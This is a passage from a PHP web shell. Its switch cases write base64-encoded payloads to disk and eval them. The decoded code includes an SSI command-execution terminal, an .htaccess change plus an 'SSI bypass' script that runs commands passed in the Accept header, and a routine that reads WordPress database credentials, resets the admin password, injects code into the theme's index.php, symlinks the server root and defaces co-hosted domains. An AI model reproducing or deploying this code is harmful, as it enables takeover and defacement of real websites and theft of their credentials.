7090SWQoJ2pzb24nKS5zdHlsZS5kaXNwbGF5PSdibG9jayc7aWYoc3Vzci5pbm5lclRleHQpe3N1c3Iu
7091
7092aW5uZXJUZXh0PXVzcjtzcHdkLmlubmVyVGV4dD1wd2Q7fWVsc2V7c3Vzci50ZXh0Q29udGVudD11
7093
7094c3I7c3B3ZC50ZXh0Q29udGVudD1wd2Q7fWNtZC5mb2N1cygpOzwhLS0jaWYgZXhwcj0iIi0tPgpk
7095
7096b2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc3Npb24nKS5zdHlsZS5kaXNwbGF5PSdub25lJzs8IS0t
7097
7098I2VuZGlmLS0+Cn1mdW5jdGlvbiBlbmRDbWQoKXtpZihzdXNyLmlubmVyVGV4dCljbWQudmFsdWU9
7099
7100Jyc7ZWxzZXtjbWQuYmx1cigpO2NtZC52YWx1ZT0nJztjbWQuZm9jdXMoKTt9ZG9jdW1lbnQuYm9k
7101
7102eS5zY3JvbGxUb3A9ZG9jdW1lbnQuYm9keS5zY3JvbGxIZWlnaHQ7fWZ1bmN0aW9uIHNlbmRDbWQo
7103
7104KXt2YXIgY21kVmFsdWU9Y21kLnZhbHVlO2lmKGhpc3Qub3B0aW9ucyl7dmFyIGlzVW5pcXVlPXRy
7105
7106dWUsb3B0Q291bnQ9aGlzdC5vcHRpb25zLmxlbmd0aDtmb3IodmFyIGk9MDtpPG9wdENvdW50O2kr
7107
7108KylpZihoaXN0Lm9wdGlvbnNbaV0udmFsdWU9PWNtZFZhbHVlKXtpc1VuaXF1ZT1mYWxzZTticmVh
7109
7110azt9aWYoaXNVbmlxdWUpaGlzdC5hcHBlbmRDaGlsZChuZXcgT3B0aW9uKGNtZFZhbHVlLGNtZFZh
7111
7112bHVlKSk7fWlmKGNtZFZhbHVlPT0nY2xlYXInKXtyZXouaW5uZXJIVE1MPScnO2VuZENtZCgpO31l
7113
7114bHNlIGlmKGNtZFZhbHVlPT0nZXhpdCcpd2luZG93LmNsb3NlKCk7ZWxzZSBpZihjbWRWYWx1ZSE9
7115
7116Jycpe3ZhciBhamF4PW5ldyBYTUxIdHRwUmVxdWVzdCgpO2FqYXguY21kPWNtZFZhbHVlO2lmKGNt
7117
7118ZFZhbHVlLnN1YnN0cigwLDMpPT0nY2QgJyljbWRWYWx1ZSs9JyAyPiYxOyBwd2QnO2FqYXgub3Bl
7119
7120bignR0VUJyxkb2N1bWVudC5VUkwsdHJ1ZSk7YWpheC5vbnJlYWR5c3RhdGVjaGFuZ2U9b25TdGF0
7121
7122dXNDaGFuZ2U7YWpheC5zZXRSZXF1ZXN0SGVhZGVyKCdIVVNSJyx1c3IpO2FqYXguc2V0UmVxdWVz
7123
7124dEhlYWRlcignSFBXRCcscHdkKTthamF4LnNldFJlcXVlc3RIZWFkZXIoJ0hDTUQnLGNtZFZhbHVl
7125
7126KTthamF4LnNlbmQobnVsbCk7fX1mdW5jdGlvbiBvblN0YXR1c0NoYW5nZSgpe2lmKHRoaXMucmVh
7127
7128ZHlTdGF0ZT09NCl7aWYodGhpcy5zdGF0dXM9PTIwMCl7dmFyIHJlcz11c3IrJ0AnK3NydisnOicr
7129
7130cHdkKyckICcrdGhpcy5jbWQrJ1xuJztpZih0aGlzLmNtZC5zdWJzdHIoMCwzKT09J2NkICcpe2lm
7131
7132KHRoaXMucmVzcG9uc2VUZXh0LmluZGV4T2YoImNhbid0IGNkIik9PS0xKXtwd2Q9dHJpbSh0aGlz
7133
7134LnJlc3BvbnNlVGV4dCk7aWYocHdkLmlubmVyVGV4dClzcHdkLmlubmVyVGV4dD1wd2Q7ZWxzZSBz
7135
7136cHdkLnRleHRDb250ZW50PXB3ZDtyZXMrPSdcbic7fWVsc2UgcmVzKz0nY2FuXCd0IGNkICcrdGhp
7137
7138cy5jbWQuc3Vic3RyKDMpKydcblxuJzt9ZWxzZSByZXMrPXRoaXMucmVzcG9uc2VUZXh0O2lmKHJl
7139
7140ei5pbm5lclRleHQpcmV6LmlubmVyVGV4dCs9cmVzO2Vsc2UgcmV6LnRleHRDb250ZW50Kz1yZXM7
7141
7142ZW5kQ21kKCk7fWVsc2UgYWxlcnQoIkVSUk9SOlxuU3RhdHVzOiAiK3RoaXMuc3RhdHVzKyIgKCIr
7143
7144dGhpcy5zdGF0dXNUZXh0KyIpXG5Db21tYW5kOiAiK3RoaXMuY21kKTt9fTwvc2NyaXB0PjwvaGVh
7145
7146ZD48Ym9keSBvbmxvYWQ9ImluaXQoKSI+PGRpdiBpZD0ianNvZmYiIGNsYXNzPSJlcnIiPkNhbid0
7147
7148IHdvcmsgd2l0aG91dCBqYXZhc2NyaXB0LiBTb3JyeS48L2Rpdj48ZGl2IGlkPSJqc29uIj48IS0t
7149
7150I2lmIGV4cHI9IiItLT48ZGl2IGNsYXNzPSJlcnIiPlNTSSBub3Qgd29yay4gU29ycnkuPC9kaXY+
7151
7152PCEtLSNlbmRpZi0tPjxkaXYgaWQ9InNzaW9uIj48eG1wIGlkPSJyZXoiPjwveG1wPjxmb3JtIGFj
7153
7154dGlvbj0iIiBtZXRob2Q9InBvc3QiIG9uc3VibWl0PSJzZW5kQ21kKCk7IHJldHVybiBmYWxzZSI+
7155
7156PHRhYmxlIGJvcmRlcj0iMCI+PHRyPjx0ZCB3aWR0aD0iMTBweCIgY2xhc3M9InRkbmJyIj48c3Bh
7157
7158biBpZD0ic3VzciI+PC9zcGFuPkA8c3BhbiBpZD0ic3NydiI+PCEtLSNlY2hvIHZhcj0iU0VSVkVS
7159
7160X05BTUUiLS0+PC9zcGFuPjo8c3BhbiBpZD0ic3B3ZCI+PC9zcGFuPiQgPC90ZD48dGQ+PGlucHV0
7161
7162IHR5cGU9InRleHQiIGlkPSJjbWQiIHN0eWxlPSJ3aWR0aDoxMDAlIiBsaXN0PSJoaXN0Ii8+PC90
7163
7164ZD48dGQgd2lkdGg9IjEwcHgiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSImZ3Q7Jmd0OyIv
7165
7166PjwvdGQ+PC90cj48L3RhYmxlPjxkYXRhbGlzdCBpZD0iaGlzdCI+PC9kYXRhbGlzdD48aW5wdXQg
7167
7168dHlwZT0iaGlkZGVuIiBpZD0idXNyIiB2YWx1ZT0iPCEtLSNleGVjIGNtZD0id2hvYW1pIi0tPiIv
7169
7170PjxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJwd2QiIHZhbHVlPSI8IS0tI2V4ZWMgY21kPSJwd2Qi
7171
7172LS0+Ii8+PC9mb3JtPjwvZGl2PjwvZGl2PjwvYm9keT48L2h0bWw+PCEtLSNlbmRpZi0tPgo=';
7173
7174
7175
7176$file = fopen("pss_v.1.0_min.shtml" ,"w+");
7177
7178$write = fwrite ($file ,base64_decode($ssiizo2023));
7179
7180fclose($file);
7181
7182
7183
7184 echo "<iframe src=ssim/pss_v.1.0_min.shtml width=100% height=100% frameborder=0></iframe> ";
7185
7186break;
7187
7188case "PHP_30":
7189
7190 mkdir('Ph33r', 0755);
7191
7192 chdir('Ph33r');
7193
7194 $kokdosya = ".htaccess";
7195
7196 $dosya_adi = "$kokdosya";
7197
7198 $dosya = fopen ($dosya_adi , 'w') or die ("Dosya açılamadı!");
7199
7200 $metin = "AddHandler server-parsed .html .Ph33r";
7201
7202 fwrite ( $dosya , $metin ) ;
7203
7204 fclose ($dosya);
7205
7206$sabolamer = 'dXNlckBOaW5qYS1TZWN1cml0eTp+CjwhLS0jZXhlYyBjbWQ9IiRIVFRQX0FDQ0VQVCIgLS0+';
7207
7208$file = fopen("Ph33r.Ph33r" ,"w+");
7209
7210$write = fwrite ($file ,base64_decode($sabolamer));
7211
7212fclose($file);
7213
7214$izobasbakan = 'PD9waHAKCiMgVVJMIFNTSQokdXJsUGgzID0gJ1BoMzNyLlBoMzNyJzsKCiAgICBmdW5jdGlvbiBz
7215
7216ZW5kKCR1cmxQaDMsJGNtZCkKICAgIHsKICAgICAgICBpZigkY3VybCA9IGN1cmxfaW5pdCgpKQog
7217
7218ICAgICAgIHsjIGJ5cGFzcyAyMDExCgkJICMgc2FmZV9tb2QgJiBQSFBTdUhvc2luICYgZGlzYWJs
7219
7220ZV9mdW5jdGlvbnMKCQkgIyBCeSBQaDMzcgogICAgICAgICAgICBjdXJsX3NldG9wdCgkY3VybCxD
7221
7222VVJMT1BUX1VSTCwgJHVybFBoMyk7CiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxP
7223
7224UFRfUkVUVVJOVFJBTlNGRVIsdHJ1ZSk7CiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLENV
7225
7226UkxPUFRfQ09OTkVDVFRJTUVPVVQsMzApOwoKICAgICAgICAgICAgJGhlYWRlcnMgPSBhcnJheSgi
7227
7228QWNjZXB0OiAiLiRjbWQpOwoKICAgICAgICAgICAgY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9I
7229
7230VFRQSEVBREVSLCRoZWFkZXJzKTsKICAgICAgICAgICAgY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9Q
7231
7232VF9VUkwsJHVybFBoMyk7CiAgICAgICAgICAgIHJldHVybiBjdXJsX2V4ZWMoJGN1cmwpOwoKICAg
7233
7234ICAgICB9CiAgICAgICAgY3VybF9jbG9zZSgkY3VybCk7CiAgICB9CiAgICBwcmludCAnPGhlYWQ+
7235
7236Cjx0aXRsZT4gUGgzM3IgLSBieXBhc3MgMjAxMSBTU2kgPC90aXRsZT4KPHN0eWxlIHR5cGU9InRl
7237
7238eHQvY3NzIj4KLmF1dG8tc3R5bGUxIHsKCXRleHQtYWxpZ246IGNlbnRlcjsKfQouYXV0by1zdHls
7239
7240ZTIgewoJdGV4dC1hbGlnbjogY2VudGVyOwoJZm9udC13ZWlnaHQ6IGJvbGQ7Cglmb250LWZhbWls
7241
7242eTogQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZjsKfQouYXV0by1zdHlsZTMgewoJdGV4dC1h
7243
7244bGlnbjogY2VudGVyOwoJY29sb3I6ICNGRjk5MzM7Cn0KLmF1dG8tc3R5bGU0IHsKCWZvbnQtc2l6
7245
7246ZTogeHgtc21hbGw7Cglmb250LXdlaWdodDogYm9sZDsKfQphIHsKCWNvbG9yOiAjQzBDMEMwOwp9
7247
7248CmE6dmlzaXRlZCB7Cgljb2xvcjogI0MwQzBDMDsKfQphOmFjdGl2ZSB7Cgljb2xvcjogI0MwQzBD
7249
7250MDsKfQphOmhvdmVyIHsKCWNvbG9yOiAjQzBDMEMwOwp9Cjwvc3R5bGU+CjwvaGVhZD4nOwogICAg
7251
7252cHJpbnQnPGJvZHkgc3R5bGU9ImNvbG9yOiAjRkY5OTMzOyBiYWNrZ3JvdW5kLWNvbG9yOiAjNjY2
7253
7254NjY2OyAiPgoKPGRpdiBjbGFzcz0iYXV0by1zdHlsZTMiPgonOwogICAgcHJpbnQgJwk8c3BhbiBj
7255
7256bGFzcz0iYXV0by1zdHlsZTIiPlNTSSBleHBsb2l0IC0gJy4kdXJsUGgzLic8L3NwYW4+IDxiciBj
7257
7258bGFzcz0iYXV0by1zdHlsZTQiIC8+PGJyIC8+JzsKCXByaW50ICc8L2Rpdj4nOwogICAgcHJpbnQg
7259
7260JzwvZGl2Pgo8Zm9ybSBhY3Rpb249IiMiIG1ldGhvZD0icG9zdCI+Cgk8ZGl2IGNsYXNzPSJhdXRv
7261
7262LXN0eWxlMSI+JzsKCiAgICBwcmludCAkX1BPU1RbJ2NtZCddLic6IDxiciAvPic7CiAgICBwcmlu
7263
7264dCAnPHRleHRhcmVhIHdyYXA9Im9mZiIgc3R5bGU9IndpZHRoOiA2OTdweDsgaGVpZ2h0OiAyOTNw
7265
7266eCIgbmFtZT0iUGgzM3IiPicuIHNlbmQoJHVybFBoMywkX1BPU1RbJ2NtZCddKSAuJzwvdGV4dGFy
7267
7268ZWE+PGJyIC8+JzsKCiAgICBwcmludCAnPGlucHV0IG5hbWU9ImNtZCIgdHlwZT0idGV4dCIgdmFs
7269
7270dWU9InVuYW1lIC1hIj48YnIgLz4nOwoKICAgIHByaW50ICc8aW5wdXQgdHlwZT0ic3VibWl0IiB2
7271
7272YWx1ZT0iUGgzM3IiPjxiciAvPic7CiAgICBwcmludCAnPC9kaXY+IDwvZm9ybT4KIDxhIGhyZWY9
7273
7274Imh0dHA6Ly9wZW50ZXN0LmVua24ubmV0L2Jsb2cucGhwIj4gCjxwIGNsYXNzPSJhdXRvLXN0eWxl
7275
7276MSI+TmluamEtU2VjdXJpdHkgdGVhbTxwPjwvYT4KPHAgY2xhc3M9ImF1dG8tc3R5bGUxIj4KPGZv
7277
7278bnQgY29sb3I9IiNGRjAwMDAiPjxiPkFudGktdHJ1c3QgLSBQaDMzciAtPGZvbnQgY29sb3I9IiNG
7279
7280RjAwMDAiPkJsYWNrIApIYXQgLSBtYXowMDI8L2ZvbnQ+JzsKcHJpbnQgJzxwIGNsYXNzPSJhdXRv
7281
7282LXN0eWxlMSI+Cjxmb250IGNvbG9yPSIjRkYwMDAwIj48Yj4gd2VsY29tZS1iYWNrIDogc2VjLXIx
7283
7284ei5jb20gPC9mb250PjwvYT4gPC9iPic7Cgo/Pg==';
7285
7286
7287
7288$file = fopen("Ph33r.php" ,"w+");
7289
7290$write = fwrite ($file ,base64_decode($izobasbakan));
7291
7292fclose($file);
7293
7294
7295
7296 echo "<iframe src=Ph33r/Ph33r.php width=100% height=100% frameborder=0></iframe> ";
7297
7298break;
7299case "PHP_77":
7300eval(base64_decode("aW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAiMCIpOw0Kc2V0X3RpbWVfbGltaXQoMCk7DQpAc2Vzc2lvbl9zdGFydCgpOw0KJGJhc2VfcGF0aCA9IGRpcm5hbWUoX19GSUxFX18pLicvJzsNCg0KDQpmdW5jdGlvbiBlbnRyZTJ2MigkdGV4dCwkbWFycXVldXJEZWJ1dExpZW4sJG1hcnF1ZXVyRmluTGllbiwkaT0xKXsNCiAgICAkYXIwPWV4cGxvZGUoJG1hcnF1ZXVyRGVidXRMaWVuLCAkdGV4dCk7DQogICAgJGFyMT1leHBsb2RlKCRtYXJxdWV1ckZpbkxpZW4sICRhcjBbJGldKTsNCiAgICByZXR1cm4gdHJpbSgkYXIxWzBdKTsgfQ0KDQpmdW5jdGlvbiByYW5kb210KCkgew0KICAgICRjaGFycyA9ICJhYmNkZWZnaGlqa21ub3BxcnN0dXZ3eHl6MDIzNDU2Nzg5IjsNCiAgICBzcmFuZCgoZG91YmxlKW1pY3JvdGltZSgpKjEwMDAwMDApOw0KICAgICRpID0gMDsNCiAgICAkcGFzcyA9ICcnOw0KICAgIHdoaWxlICgkaSA8PSA3KSB7DQogICAgICAgICRudW0gPSByYW5kKCkgJSAzMzsNCiAgICAgICAgJHRtcCA9IHN1YnN0cigkY2hhcnMsICRudW0sIDEpOw0KICAgICAgICAkcGFzcyA9ICRwYXNzIC4gJHRtcDsNCiAgICAgICAgJGkrKzsNCiAgICB9DQogICAgcmV0dXJuICRwYXNzOw0KfQ0KDQpmdW5jdGlvbiBpbmRleF9jaGFuZ2VyX3dwKCRjb25mLCAkY29udGVudCkgew0KICAgICRvdXRwdXQgPSAnJzsNCiAgICAkZG9sID0gJyQnOw0KICAgICR1c2VybmFtZSA9IGVudHJlMnYyKCRjb25mLCJkZWZpbmUoJ0RCX1VTRVInLCAnIiwiJyk7Iik7DQogICAgJHBhc3N3b3JkID0gZW50cmUydjIoJGNvbmYsImRlZmluZSgnREJfUEFTU1dPUkQnLCAnIiwiJyk7Iik7DQogICAgJGRibmFtZSA9IGVudHJlMnYyKCRjb25mLCJkZWZpbmUoJ0RCX05BTUUnLCAnIiwiJyk7Iik7DQogICAgJHByZWZpeCA9IGVudHJlMnYyKCRjb25mLCRkb2wuInRhYmxlX3ByZWZpeCAgPSAnIiwiJyIpOw0KICAgICRob3N0ID0gZW50cmUydjIoJGNvbmYsImRlZmluZSgnREJfSE9TVCcsICciLCInKTsiKTsNCg0KICAgICRsaW5rPW15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCk7DQogICAgaWYoJGxpbmspIHsNCiAgICAgICAgbXlzcWxfc2VsZWN0X2RiKCRkYm5hbWUsJGxpbmspIDsNCiAgICAgICAgJGRvbCA9ICckJzsNCiAgICAgICAgJHJlcTEgPSBteXNxbF9xdWVyeSgiVVBEQVRFIGAiLiRwcmVmaXguInVzZXJzYCBTRVQgYHVzZXJfbG9naW5gID0gJ2FkbWluJyxgdXNlcl9wYXNzYCA9ICcwYTU2Zjg2YTRlYTc4OWY1NTVjMmJkZmFmYjYxZmQ0YScgV0hFUkUgYElEYCA9IDEiKTsNCiAgICB9IGVsc2Ugew0KICAgICAgICAkb3V0cHV0Lj0gIlstXSBEQiBFcnJvcjxiciAvPiI7DQogICAgfQ0KICAgIGlmKCRyZXExKSB7DQoNCiAgICAgICAgJHJlcSA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBmcm9tICBgIi4kcHJlZml4LiJvcHRpb25zYCBXSEVSRSBvcHRpb25fbmFtZT0naG9tZSciKTsNCiAgICAgICAgJGRhdGEgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVxKTsNCiAgICAgICAgJHNpdGVfdXJsPSRkYXRhWyJvcHRpb25fdmFsdWUiXTsgDQoNCiAgICAgICAgJHJlcSA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBmcm9tICBgIi4kcHJlZml4LiJvcHRpb25zYCBXSEVSRSBvcHRpb25fbmFtZT0ndGVtcGxhdGUnIik7DQogICAgICAgICRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcSk7DQogICAgICAgICR0ZW1wbGF0ZSA9ICRkYXRhWyJvcHRpb25fdmFsdWUiXTsNCg0KICAgICAgICAkcmVxID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRwcmVmaXguIm9wdGlvbnNgIFdIRVJFIG9wdGlvbl9uYW1lPSdjdXJyZW50X3RoZW1lJyIpOw0KICAgICAgICAkZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXEpOw0KICAgICAgICAkY3VycmVudF90aGVtZSA9ICRkYXRhWyJvcHRpb25fdmFsdWUiXTsNCg0KICAgICAgICAkdXNlcmFnZW50PSJNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA3LjBiOyBXaW5kb3dzIE5UIDUuMTsgLk5FVCBDTFIgMS4xLjQzMjI7IEFsZXhhIFRvb2xiYXI7IC5ORVQgQ0xSIDIuMC41MDcyNykiOw0KICAgICAgICAkdXJsMj0kc2l0ZV91cmwuIi93cC1sb2dpbi5waHAiOw0KDQogICAgICAgICRjaCA9IGN1cmxfaW5pdCgpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCAxKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsImxvZz1hZG1pbiZwd2Q9c2x5bW4xMjMmcmVtZW1iZXJtZT1mb3JldmVyJndwLXN1Ym1pdD1Mb2cgSW4mdGVzdGNvb2tpZT0xIik7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgMTApOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgIkNPT0tJRS50eHQiKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICJDT09LSUUudHh0Iik7DQogICAgICAgICRidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTsNCg0KICAgICAgICAkcG9zID0gc3RycG9zKCRidWZmZXIsImFjdGlvbj1sb2dvdXQiKTsNCiAgICAgICAgaWYoJHBvcyA9PT0gZmFsc2UpIHsNCiAgICAgICAgICAgICRvdXRwdXQuPSAiWy1dIFN1Y2Nlc3NmdWwgTG9naW48YnIgLz4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJG91dHB1dC49ICJbK10gU3VjY2Vzc2Z1bCBMb2dpbjxiciAvPiI7DQogICAgICAgIH0NCg0KICAgICAgICAkdXJsMj0kc2l0ZV91cmwuIi93cC1hZG1pbi90aGVtZS1lZGl0b3IucGhwP2ZpbGU9L3RoZW1lcy8iLiR0ZW1wbGF0ZS4nL2luZGV4LnBocCZ0aGVtZT0nLnVybGVuY29kZSgkY3VycmVudF90aGVtZSkuJyZkaXI9dGhlbWUnOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMCk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyYWdlbnQpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAiQ09PS0lFLnR4dCIpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgIkNPT0tJRS50eHQiKTsNCiAgICAgICAgJGJ1ZmZlcjAgPSBjdXJsX2V4ZWMoJGNoKTsNCg0KICAgICAgICAkX3dwbm9uY2UgPSBlbnRyZTJ2MigkYnVmZmVyMCwnPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9Il93cG5vbmNlIiBuYW1lPSJfd3Bub25jZSIgdmFsdWU9IicsJyIgLz4nKTsNCiAgICAgICAgJF9maWxlID0gZW50cmUydjIoJGJ1ZmZlcjAsJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSInLCciIC8+Jyk7DQoNCiAgICAgICAgaWYoc3Vic3RyX2NvdW50KCRfZmlsZSwiL2luZGV4LnBocCIpICE9IDApew0KICAgICAgICAgICAgJG91dHB1dC49ICJbK10gaW5kZXgucGhwIE9wZW5lZDxiciAvPiI7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkb3V0cHV0Lj0gIlstXSBpbmRleC5waHAgVW5hYmxlIHRvIG9wZW48YnIgLz4iOw0KICAgICAgICB9DQoNCiAgICAgICAgJHVybDI9JHNpdGVfdXJsLiIvd3AtYWRtaW4vdGhlbWUtZWRpdG9yLnBocCI7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywibmV3Y29udGVudD0iLiRjb250ZW50LiImYWN0aW9uPXVwZGF0ZSZmaWxlPSIuJF9maWxlLiImX3dwbm9uY2U9Ii4kX3dwbm9uY2UuIiZzdWJtaXQ9VXBkYXRlIEZpbGUiKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgIkNPT0tJRS50eHQiKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICJDT09LSUUudHh0Iik7DQogICAgICAgICRidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTsNCiAgICAgICAgY3VybF9jbG9zZSgkY2gpOw0KDQogICAgICAgICRwb3MgPSBzdHJwb3MoJGJ1ZmZlciwnPGRpdiBpZD0ibWVzc2FnZSIgY2xhc3M9InVwZGF0ZWQiPicpOw0KICAgICAgICAkY29uZCA9IDA7DQogICAgICAgIGlmKCRwb3MgPT09IGZhbHNlKSB7DQogICAgICAgICAgICAkb3V0cHV0Lj0gIlstXSBpbmRleC5waHAgRmFpbGVkPGJyIC8+IjsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICRvdXRwdXQuPSAiWytdIGluZGV4LnBocCBGYWlsZWQrPGJyIC8+IjsNCiAgICAgICAgICAgICRjb25kID0gMTsNCiAgICAgICAgfSB9IGVsc2Ugew0KICAgICAgICAkb3V0cHV0Lj0gIlstXSBEQiBFcnJvcjxiciAvPiI7DQogICAgfQ0KICAgIGdsb2JhbCAkYmFzZV9wYXRoOw0KICAgIHVubGluaygkYmFzZV9wYXRoLidDT09LSUUudHh0Jyk7DQogICAgcmV0dXJuIGFycmF5KCdjb25kJz0+JGNvbmQsICdvdXRwdXQnPT4kb3V0cHV0KTsNCn0NCg0KZnVuY3Rpb24gZXhlY19tb2RlXzEoJGRlZl91cmwpIHsNCg0KICAgIEBta2Rpcignc3ltJywwNzc3KTsNCiAgICAkd3IgID0gIk9wdGlvbnMgYWxsIFxuIERpcmVjdG9yeUluZGV4IFN1eC5odG1sIFxuIEFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIFxuIEFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwIFxuICBBZGRUeXBlIHRleHQvcGxhaW4gLmh0bWwgXG4gQWRkSGFuZGxlciB0eHQgLmh0bWwgXG4gUmVxdWlyZSBOb25lIFxuIFNhdGlzZnkgQW55IjsNCiAgICAkZnAgPSBAZm9wZW4gKCdzeW0vLmh0YWNjZXNzJywndycpOw0KICAgIGZ3cml0ZSgkZnAsICR3cik7DQogICAgQHN5bWxpbmsoJy8nLCdzeW0vcm9vdCcpOw0KICAgICRkb21pbmlvcyA9IEBmaWxlX2dldF9jb250ZW50cygiL2V0Yy9uYW1lZC5jb25mIik7DQogICAgQHByZWdfbWF0Y2hfYWxsKCcvLio/em9uZSAiKC4qPykiIHsvJywgJGRvbWluaW9zLCAkb3V0KTsNCiAgICAkb3V0WzFdID0gYXJyYXlfdW5pcXVlKCRvdXRbMV0pOw0KICAgICRudW1lcm9fZG9taW5pb3MgPSBjb3VudCgkb3V0WzFdKTsNCiAgICBlY2hvICJUb3RhbCBXZWJzaXRlczogJG51bWVyb19kb21pbmlvcyA8YnI+PGJyIC8+IjsNCiAgICAkZGVmID0gZmlsZV9nZXRfY29udGVudHMoJGRlZl91cmwpOw0KICAgICRkZWYgPSB1cmxlbmNvZGUoJGRlZik7DQogICAgJGJhc2VfdXJsID0gJ2h0dHA6Ly8nLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLmRpcm5hbWUoJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ10pLicvc3ltL3Jvb3QvaG9tZS8nOw0KICAgICRvdXRwdXQgPSBmb3BlbignZGVmYWNlZC5odG1sJywgJ2ErJyk7DQogICAgJF9TRVNTSU9OWydjb3VudDEnXSA9IChpc3NldCgkX0dFVFsnc3QnXSkgJiYgJF9HRVRbJ3N0J10hPScnKSA/IChpc3NldCgkX1NFU1NJT05bJ2NvdW50MSddKSA/ICRfU0VTU0lPTlsnY291bnQxJ10gOjAgKSA6IDA7DQogICAgJF9TRVNTSU9OWydjb3VudDInXSA9IChpc3NldCgkX0dFVFsnc3QnXSkgJiYgJF9HRVRbJ3N0J10hPScnKSA/IChpc3NldCgkX1NFU1NJT05bJ2NvdW50MiddKSA/ICRfU0VTU0lPTlsnY291bnQyJ10gOjAgKSA6IDA7DQogICAgZWNobyAnPHRhYmxlIHN0eWxlPSJ3aWR0aDo3NSU7Ij48dHIgc3R5bGU9ImJhY2tncm91bmQ6cmdiYSgxNjAsIDgyLCA0NSwwLjYpOyI+PHRoPklEPC90aD48dGg+U0lEPC90aD48dGg+RG9tYWluPC90aD48dGg+U2NyaXB0PC90aD48dGg+UHJvY2VzczwvdGg+PHRoPlJlc3VsdHM8L3RoPjwvdHI+JzsNCiAgICAkaiA9IDE7DQogICAgJHN0ID0gKGlzc2V0KCRfR0VUWydzdCddKSAmJiAkX0dFVFsnc3QnXSE9JycpID8gJF9HRVRbJ3N0J10gOiAwOw0KICAgIGZvcigkaSA9ICRzdDsgJGkgPD0gJG51bWVyb19kb21pbmlvczsgJGkrKykNCiAgICB7DQogICAgICAgICRkb21haW4gPSAkb3V0WzFdWyRpXTsNCiAgICAgICAgJGRvbm9fYXJxdWl2byA9IEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZ